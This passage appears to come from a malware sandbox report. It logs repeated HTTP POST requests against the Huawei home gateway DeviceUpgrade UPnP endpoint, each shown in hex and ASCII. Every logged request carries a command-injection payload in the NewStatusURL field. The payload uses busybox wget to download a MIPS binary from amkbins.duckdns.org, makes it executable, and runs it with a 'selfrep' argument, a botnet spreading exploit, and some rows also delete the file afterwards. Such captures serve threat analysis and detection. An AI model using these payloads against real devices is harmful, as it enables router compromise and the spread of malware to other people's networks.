43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 61 6d 6b 62 69 6e 73 2e 64 75 63 6b 64 6e 73 2e 6f 72 67 20 2d 6c 20 2f 74 6d 70 2f 61 73 63 61 72 69 73 20 2d 72 20 2f 62 69 6e 73 2f 61 73 63 61 72 69 73 2e 6d 69 70 73 3b 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 61 73 63 61 72 69 73 3b 2f 74 6d 70 2f 61 73 63 61 72 69 73 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 3b 72 6d 20 2d 72 66 20 2f 74 6d 70 2f 61 73 63 61 72 69 73 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(busybox wget -g amkbins.duckdns.org -l /tmp/ascaris -r /bins/ascaris.mips;chmod 777 /tmp/ascaris;/tmp/ascaris huawei.selfrep;rm -rf /tmp/ascaris)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope> |
| Source: global traffic | HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 61 6d 6b 62 69 6e 73 2e 64 75 63 6b 64 6e 73 2e 6f 72 67 20 2d 6c 20 2f 74 6d 70 2f 61 73 63 61 72 69 73 2e 6d 69 70 73 20 2d 72 20 2f 62 69 6e 73 2f 61 73 63 61 72 69 73 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 61 73 63 61 72 69 73 2e 6d 69 70 73 3b 20 2f 74 6d 70 2f 61 73 63 61 72 69 73 2e 6d 69 70 73 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g amkbins.duckdns.org -l /tmp/ascaris.mips -r /bins/ascaris.mips; /bin/busybox chmod 777 * /tmp/ascaris.mips; /tmp/ascaris.mips huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope> |
| Source: global traffic | HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 61 6d 6b 62 69 6e 73 2e 64 75 63 6b 64 6e 73 2e 6f 72 67 20 2d 6c 20 2f 74 6d 70 2f 61 73 63 61 72 69 73 2e 6d 69 70 73 20 2d 72 20 2f 62 69 6e 73 2f 61 73 63 61 72 69 73 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 61 73 63 61 72 69 73 2e 6d 69 70 73 3b 20 2f 74 6d 70 2f 61 73 63 61 72 69 73 2e 6d 69 70 73 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g amkbins.duckdns.org -l /tmp/ascaris.mips -r /bins/ascaris.mips; /bin/busybox chmod 777 * /tmp/ascaris.mips; /tmp/ascaris.mips huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope> |
| Source: global traffic | HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 61 6d 6b 62 69 6e 73 2e 64 75 63 6b 64 6e 73 2e 6f 72 67 20 2d 6c 20 2f 74 6d 70 2f 61 73 63 61 72 69 73 20 2d 72 20 2f 62 69 6e 73 2f 61 73 63 61 72 69 73 2e 6d 69 70 73 3b 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 61 73 63 61 72 69 73 3b 2f 74 6d 70 2f 61 73 63 61 72 69 73 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 3b 72 6d 20 2d 72 66 20 2f 74 6d 70 2f 61 73 63 61 72 69 73 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(busybox wget -g amkbins.duckdns.org -l /tmp/ascaris -r /bins/ascaris.mips;chmod 777 /tmp/ascaris;/tmp/ascaris huawei.selfrep;rm -rf /tmp/ascaris)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope> |
| Source: global traffic | HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 61 6d 6b 62 69 6e 73 2e 64 75 63 6b 64 6e 73 2e 6f 72 67 20 2d 6c 20 2f 74 6d 70 2f 61 73 63 61 72 69 73 2e 6d 69 70 73 20 2d 72 20 2f 62 69 6e 73 2f 61 73 63 61 72 69 73 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 61 73 63 61 72 69 73 2e 6d 69 70 73 3b 20 2f 74 6d 70 2f 61 73 63 61 72 69 73 2e 6d 69 70 73 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g amkbins.duckdns.org -l /tmp/ascaris.mips -r /bins/ascaris.mips; /bin/busybox chmod 777 * /tmp/ascaris.mips; /tmp/ascaris.mips huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope> |
| Source: global traffic | HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 61 6d 6b 62 69 6e 73 2e 64 75 63 6b 64 6e 73 2e 6f 72 67 20 2d 6c 20 2f 74 6d 70 2f 61 73 63 61 72 69 73 2e 6d 69 70 73 20 2d 72 20 2f 62 69 6e 73 2f 61 73 63 61 72 69 73 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 61 73 63 61 72 69 73 2e 6d 69 70 73 3b 20 2f 74 6d 70 2f 61 73 63 61 72 69 73 2e 6d 69 70 73 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g amkbins.duckdns.org -l /tmp/ascaris.mips -r /bins/ascaris.mips; /bin/busybox chmod 777 * /tmp/ascaris.mips; /tmp/ascaris.mips huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope> |
| Source: global traffic | HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 61 6d 6b 62 69 6e 73 2e 64 75 63 6b 64 6e 73 2e 6f 72 67 20 2d 6c 20 2f 74 6d 70 2f 61 73 63 61 72 69 73 2e 6d 69 70 73 20 2d 72 20 2f 62 69 6e 73 2f 61 73 63 61 72 69 73 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 61 73 63 61 72 69 73 2e 6d 69 70 73 3b 20 2f 74 6d 70 2f 61 73 63 61 72 69 73 2e 6d 69 70 73 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g amkbins.duckdns.org -l /tmp/ascaris.mips -r /bins/ascaris.mips; /bin/busybox chmod 777 * /tmp/ascaris.mips; /tmp/ascaris.mips huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope> |
| Source: global traffic | HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 61 6d 6b 62 69 6e 73 2e 64 75 63 6b 64 6e 73 2e 6f 72 67 20 2d 6c 20 2f 74 6d 70 2f 61 73 63 61 72 69 73 2e 6d 69 70 73 20 2d 72 20 2f 62 69 6e 73 2f 61 73 63 61 72 69 73 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 61 73 63 61 72 69 73 2e 6d 69 70 73 3b 20 2f 74 6d 70 2f 61 73 63 61 72 69 73 2e 6d 69 70 73 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g amkbins.duckdns.org -l /tmp/ascaris.mips -r /bins/ascaris.mips; /bin/busybox chmod 777 * /tmp/ascaris.mips; /tmp/ascaris.mips huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope> |
| Source: global traffic | HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 61 6d 6b 62 69 6e 73 2e 64 75 63 6b 64 6e 73 2e 6f 72 67 20 2d 6c 20 2f 74 6d 70 2f 61 73 63 61 72 69 73 20 2d 72 20 2f 62 69 6e 73 2f 61 73 63 61 72 69 73 2e 6d 69 70 73 3b 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 61 73 63 61 72 69 73 3b 2f 74 6d 70 2f 61 73 63 61 72 69 73 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 3b 72 6d 20 2d 72 66 20 2f 74 6d 70 2f 61 73 63 61 72 69 73 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(busybox wget -g amkbins.duckdns.org -l /tmp/ascaris -r /bins/ascaris.mips;chmod 777 /tmp/ascaris;/tmp/ascaris huawei.selfrep;rm -rf /tmp/ascaris)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope> |
